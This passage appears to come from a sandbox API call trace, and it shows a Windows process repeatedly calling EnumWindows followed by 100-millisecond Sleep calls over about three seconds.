(dwMilliseconds=0x64) [0272.911] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.911] Sleep (dwMilliseconds=0x64) [0272.912] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.913] Sleep (dwMilliseconds=0x64) [0272.914] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.914] Sleep (dwMilliseconds=0x64) [0272.915] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.916] Sleep (dwMilliseconds=0x64) [0272.917] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.917] Sleep (dwMilliseconds=0x64) [0272.918] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.919] Sleep (dwMilliseconds=0x64) [0272.920] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.920] Sleep (dwMilliseconds=0x64) [0272.922] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.922] Sleep (dwMilliseconds=0x64) [0272.923] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.923] Sleep (dwMilliseconds=0x64) [0272.924] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.925] Sleep (dwMilliseconds=0x64) [0272.926] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.926] Sleep (dwMilliseconds=0x64) [0272.927] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.928] Sleep (dwMilliseconds=0x64) [0272.929] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.929] Sleep (dwMilliseconds=0x64) [0272.955] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.956] Sleep (dwMilliseconds=0x64) [0273.038] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.039] Sleep (dwMilliseconds=0x64) [0273.040] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.040] Sleep (dwMilliseconds=0x64) [0273.042] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.042] Sleep (dwMilliseconds=0x64) [0273.043] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.043] Sleep (dwMilliseconds=0x64) [0273.045] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.045] Sleep (dwMilliseconds=0x64) [0273.046] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.046] Sleep (dwMilliseconds=0x64) [0273.048] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.048] Sleep (dwMilliseconds=0x64) [0273.052] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.052] Sleep (dwMilliseconds=0x64) [0273.053] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.053] Sleep (dwMilliseconds=0x64) [0273.055] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.055] Sleep (dwMilliseconds=0x64) [0273.056] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.056] Sleep (dwMilliseconds=0x64) [0273.058] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.058] Sleep (dwMilliseconds=0x64) [0273.059] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.059] Sleep (dwMilliseconds=0x64) [0273.061] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.061] Sleep (dwMilliseconds=0x64) [0273.064] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.064] Sleep (dwMilliseconds=0x64) [0273.065] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.065] Sleep (dwMilliseconds=0x64) [0273.067] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.067] Sleep (dwMilliseconds=0x64) [0273.068] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.068] Sleep (dwMilliseconds=0x64) [0273.167] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.167] Sleep (dwMilliseconds=0x64) [0273.175] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.175] Sleep (dwMilliseconds=0x64) [0273.177] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.177] Sleep (dwMilliseconds=0x64) [0273.179] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.179] Sleep (dwMilliseconds=0x64) [0273.181] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.181] Sleep (dwMilliseconds=0x64) [0273.182] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.182] Sleep (dwMilliseconds=0x64) [0273.184] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.184] Sleep (dwMilliseconds=0x64) [0273.186] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.187] Sleep (dwMilliseconds=0x64) [0273.188] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.188] Sleep (dwMilliseconds=0x64) [0273.190] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.190] Sleep (dwMilliseconds=0x64) [0273.191] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.191] Sleep (dwMilliseconds=0x64) [0273.193] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.193] Sleep (dwMilliseconds=0x64) [0273.194] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.194] Sleep (dwMilliseconds=0x64) [0273.196] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.196] Sleep (dwMilliseconds=0x64) [0273.197] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.197] Sleep (dwMilliseconds=0x64) [0273.199] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.199] Sleep (dwMilliseconds=0x64) [0273.200] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.200] Sleep (dwMilliseconds=0x64) [0273.202] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.202] Sleep (dwMilliseconds=0x64) [0273.203] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.203] Sleep (dwMilliseconds=0x64) [0273.205] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.205] Sleep (dwMilliseconds=0x64) [0273.286] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.287] Sleep (dwMilliseconds=0x64) [0273.312] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.313] Sleep (dwMilliseconds=0x64) [0273.314] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.314] Sleep (dwMilliseconds=0x64) [0273.316] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.316] Sleep (dwMilliseconds=0x64) [0273.318] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.318] Sleep (dwMilliseconds=0x64) [0273.319] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.319] Sleep (dwMilliseconds=0x64) [0273.321] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.321] Sleep (dwMilliseconds=0x64) [0273.328] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.329] Sleep (dwMilliseconds=0x64) [0273.350] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.350] Sleep (dwMilliseconds=0x64) [0273.416] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.416] Sleep (dwMilliseconds=0x64) [0273.475] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.476] Sleep (dwMilliseconds=0x64) [0273.478] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.478] Sleep (dwMilliseconds=0x64) [0273.480] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.480] Sleep (dwMilliseconds=0x64) [0273.482] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.482] Sleep (dwMilliseconds=0x64) [0273.484] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.484] Sleep (dwMilliseconds=0x64) [0273.485] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.485] Sleep (dwMilliseconds=0x64) [0273.487] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.487] Sleep (dwMilliseconds=0x64) [0273.489] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.489] Sleep (dwMilliseconds=0x64) [0273.491] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.491] Sleep (dwMilliseconds=0x64) [0273.492] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.493] Sleep (dwMilliseconds=0x64) [0273.550] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.550] Sleep (dwMilliseconds=0x64) [0273.600] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.601] Sleep (dwMilliseconds=0x64) [0273.602] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.602] Sleep (dwMilliseconds=0x64) [0273.604] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.604] Sleep (dwMilliseconds=0x64) [0273.606] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.606] Sleep (dwMilliseconds=0x64) [0273.607] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.607] Sleep (dwMilliseconds=0x64) [0273.610] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.610] Sleep (dwMilliseconds=0x64) [0273.619] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.619] Sleep (dwMilliseconds=0x64) [0273.629] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.629] Sleep (dwMilliseconds=0x64) [0273.638] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.639] Sleep (dwMilliseconds=0x64) [0273.683] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.683] Sleep (dwMilliseconds=0x64) [0273.692] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.693] Sleep (dwMilliseconds=0x64) [0273.758] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.758] Sleep (dwMilliseconds=0x64) [0273.760] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.761] Sleep (dwMilliseconds=0x64) [0273.763] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.764] Sleep (dwMilliseconds=0x64) [0273.765] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.765] Sleep (dwMilliseconds=0x64) [0273.767] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.767] Sleep (dwMilliseconds=0x64) [0273.768] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.768] Sleep (dwMilliseconds=0x64) [0273.770] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.770] Sleep (dwMilliseconds=0x64) [0273.772] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.772] Sleep (dwMilliseconds=0x64) [0273.773] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.773] Sleep (dwMilliseconds=0x64) [0273.775] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.775] Sleep (dwMilliseconds=0x64) [0273.776] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.776] Sleep (dwMilliseconds=0x64) [0273.778] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.778] Sleep (dwMilliseconds=0x64) [0273.779] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.779] Sleep (dwMilliseconds=0x64) [0273.781] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.781] Sleep (dwMilliseconds=0x64) [0273.782] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.782] Sleep (dwMilliseconds=0x64) [0273.784] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.784] Sleep (dwMilliseconds=0x64) [0273.793] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.794] Sleep (dwMilliseconds=0x64) [0273.830] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.830] Sleep (dwMilliseconds=0x64) [0273.908] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.909] Sleep (dwMilliseconds=0x64) [0273.910] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.910] Sleep (dwMilliseconds=0x64) [0273.912] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.912] Sleep (dwMilliseconds=0x64) [0273.913] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.914] Sleep (dwMilliseconds=0x64) [0273.915] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.915] Sleep (dwMilliseconds=0x64) [0273.916] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.917] Sleep (dwMilliseconds=0x64) [0273.920] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.920] Sleep (dwMilliseconds=0x64) [0273.921] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.922] Sleep (dwMilliseconds=0x64) [0273.923] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.923] Sleep (dwMilliseconds=0x64) [0273.924] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.925] Sleep (dwMilliseconds=0x64) [0273.926] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.926] Sleep (dwMilliseconds=0x64) [0273.928] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.928] Sleep (dwMilliseconds=0x64) [0273.929] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.929] Sleep (dwMilliseconds=0x64) [0273.930] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.931] Sleep (dwMilliseconds=0x64) [0273.932] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.932] Sleep (dwMilliseconds=0x64) [0273.933] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.934] Sleep (dwMilliseconds=0x64) [0273.936] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.936] Sleep (dwMilliseconds=0x64) [0273.938] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.938] Sleep (dwMilliseconds=0x64) [0273.946] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.946] Sleep (dwMilliseconds=0x64) [0273.947] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0273.948] Sleep (dwMilliseconds=0x64) [0274.039] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.039] Sleep (dwMilliseconds=0x64) [0274.047] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.048] Sleep (dwMilliseconds=0x64) [0274.049] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.050] Sleep (dwMilliseconds=0x64) [0274.051] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.052] Sleep (dwMilliseconds=0x64) [0274.053] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.053] Sleep (dwMilliseconds=0x64) [0274.054] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.055] Sleep (dwMilliseconds=0x64) [0274.056] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.056] Sleep (dwMilliseconds=0x64) [0274.057] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.058] Sleep (dwMilliseconds=0x64) [0274.062] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.062] Sleep (dwMilliseconds=0x64) [0274.063] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.064] Sleep (dwMilliseconds=0x64) [0274.065] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.065] Sleep (dwMilliseconds=0x64) [0274.066] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.066] Sleep (dwMilliseconds=0x64) [0274.068] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.068] Sleep (dwMilliseconds=0x64) [0274.069] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.070] Sleep (dwMilliseconds=0x64) [0274.071] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.071] Sleep (dwMilliseconds=0x64) [0274.072] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.072] Sleep (dwMilliseconds=0x64) [0274.085] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.085] Sleep (dwMilliseconds=0x64) [0274.191] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.191] Sleep (dwMilliseconds=0x64) [0274.206] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.207] Sleep (dwMilliseconds=0x64) [0274.212] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.213] Sleep (dwMilliseconds=0x64) [0274.225] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.226] Sleep (dwMilliseconds=0x64) [0274.230] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.230] Sleep (dwMilliseconds=0x64) [0274.244] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.245] Sleep (dwMilliseconds=0x64) [0274.443] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.443] Sleep (dwMilliseconds=0x64) [0274.466] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.467] Sleep (dwMilliseconds=0x64) [0274.468] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.468] Sleep (dwMilliseconds=0x64) [0274.470] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.470] Sleep (dwMilliseconds=0x64) [0274.472] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.472] Sleep (dwMilliseconds=0x64) [0274.474] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.474] Sleep (dwMilliseconds=0x64) [0274.475] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.476] Sleep (dwMilliseconds=0x64) [0274.477] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.477] Sleep (dwMilliseconds=0x64) [0274.478] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.479] Sleep (dwMilliseconds=0x64) [0274.480] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.480] Sleep (dwMilliseconds=0x64) [0274.481] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.482] Sleep (dwMilliseconds=0x64) [0274.483] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.483] Sleep (dwMilliseconds=0x64) [0274.484] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.485] Sleep (dwMilliseconds=0x64) [0274.486] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.486] Sleep (dwMilliseconds=0x64) [0274.487] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.488] Sleep (dwMilliseconds=0x64) [0274.489] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.489] Sleep (dwMilliseconds=0x64) [0274.490] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.491] Sleep (dwMilliseconds=0x64) [0274.492] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.492] Sleep (dwMilliseconds=0x64) [0274.493] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.494] Sleep (dwMilliseconds=0x64) [0274.495] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.495] Sleep (dwMilliseconds=0x64) [0274.496] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.497] Sleep (dwMilliseconds=0x64) [0274.568] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.568] Sleep (dwMilliseconds=0x64) [0274.607] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.608] Sleep (dwMilliseconds=0x64) [0274.610] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.610] Sleep (dwMilliseconds=0x64) [0274.612] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.612] Sleep (dwMilliseconds=0x64) [0274.613] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.613] Sleep (dwMilliseconds=0x64) [0274.615] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.615] Sleep (dwMilliseconds=0x64) [0274.616] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.616] Sleep (dwMilliseconds=0x64) [0274.618] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.618] Sleep (dwMilliseconds=0x64) [0274.619] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.620] Sleep (dwMilliseconds=0x64) [0274.621] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.621] Sleep (dwMilliseconds=0x64) [0274.622] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.623] Sleep (dwMilliseconds=0x64) [0274.624] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.625] Sleep (dwMilliseconds=0x64) [0274.626] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.627] Sleep (dwMilliseconds=0x64) [0274.628] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.628] Sleep (dwMilliseconds=0x64) [0274.630] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.630] Sleep (dwMilliseconds=0x64) [0274.631] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.631] Sleep (dwMilliseconds=0x64) [0274.633] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.633] Sleep (dwMilliseconds=0x64) [0274.634] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.634] Sleep (dwMilliseconds=0x64) [0274.643] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.644] Sleep (dwMilliseconds=0x64) [0274.695] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.695] Sleep (dwMilliseconds=0x64) [0274.753] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.754] Sleep (dwMilliseconds=0x64) [0274.755] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.756] Sleep (dwMilliseconds=0x64) [0274.758] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.758] Sleep (dwMilliseconds=0x64) [0274.760] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.760] Sleep (dwMilliseconds=0x64) [0274.761] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.761] Sleep (dwMilliseconds=0x64) [0274.763] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.763] Sleep (dwMilliseconds=0x64) [0274.765] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.765] Sleep (dwMilliseconds=0x64) [0274.766] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.766] Sleep (dwMilliseconds=0x64) [0274.768] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.768] Sleep (dwMilliseconds=0x64) [0274.769] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.769] Sleep (dwMilliseconds=0x64) [0274.771] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.771] Sleep (dwMilliseconds=0x64) [0274.772] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.772] Sleep (dwMilliseconds=0x64) [0274.774] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.774] Sleep (dwMilliseconds=0x64) [0274.775] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.775] Sleep (dwMilliseconds=0x64) [0274.777] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.777] Sleep (dwMilliseconds=0x64) [0274.778] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.778] Sleep (dwMilliseconds=0x64) [0274.781] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.782] Sleep (dwMilliseconds=0x64) [0274.832] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.832] Sleep (dwMilliseconds=0x64) [0274.917] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.918] Sleep (dwMilliseconds=0x64) [0274.920] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.920] Sleep (dwMilliseconds=0x64) [0274.921] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.922] Sleep (dwMilliseconds=0x64) [0274.924] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.924] Sleep (dwMilliseconds=0x64) [0274.926] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.926] Sleep (dwMilliseconds=0x64) [0274.927] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.928] Sleep (dwMilliseconds=0x64) [0274.929] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.929] Sleep (dwMilliseconds=0x64) [0274.931] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.931] Sleep (dwMilliseconds=0x64) [0274.933] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.933] Sleep (dwMilliseconds=0x64) [0274.935] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.935] Sleep (dwMilliseconds=0x64) [0274.937] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.937] Sleep (dwMilliseconds=0x64) [0274.942] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.942] Sleep (dwMilliseconds=0x64) [0274.944] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.944] Sleep (dwMilliseconds=0x64) [0274.946] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.946] Sleep (dwMilliseconds=0x64) [0274.992] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0274.993] Sleep (dwMilliseconds=0x64) [0275.059] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.060] Sleep (dwMilliseconds=0x64) [0275.061] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.061] Sleep (dwMilliseconds=0x64) [0275.063] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.063] Sleep (dwMilliseconds=0x64) [0275.067] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.067] Sleep (dwMilliseconds=0x64) [0275.069] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.069] Sleep (dwMilliseconds=0x64) [0275.070] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.070] Sleep (dwMilliseconds=0x64) [0275.072] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.076] Sleep (dwMilliseconds=0x64) [0275.078] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.078] Sleep (dwMilliseconds=0x64) [0275.080] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.080] Sleep (dwMilliseconds=0x64) [0275.082] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.082] Sleep (dwMilliseconds=0x64) [0275.083] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.083] Sleep (dwMilliseconds=0x64) [0275.085] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.085] Sleep (dwMilliseconds=0x64) [0275.087] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.087] Sleep (dwMilliseconds=0x64) [0275.089] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.089] Sleep (dwMilliseconds=0x64) [0275.140] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.141] Sleep (dwMilliseconds=0x64) [0275.201] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.202] Sleep (dwMilliseconds=0x64) [0275.203] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.203] Sleep (dwMilliseconds=0x64) [0275.205] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.205] Sleep (dwMilliseconds=0x64) [0275.212] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.212] Sleep (dwMilliseconds=0x64) [0275.214] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.280] Sleep (dwMilliseconds=0x64) [0275.290] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.290] Sleep (dwMilliseconds=0x64) [0275.376] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.377] Sleep (dwMilliseconds=0x64) [0275.386] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) 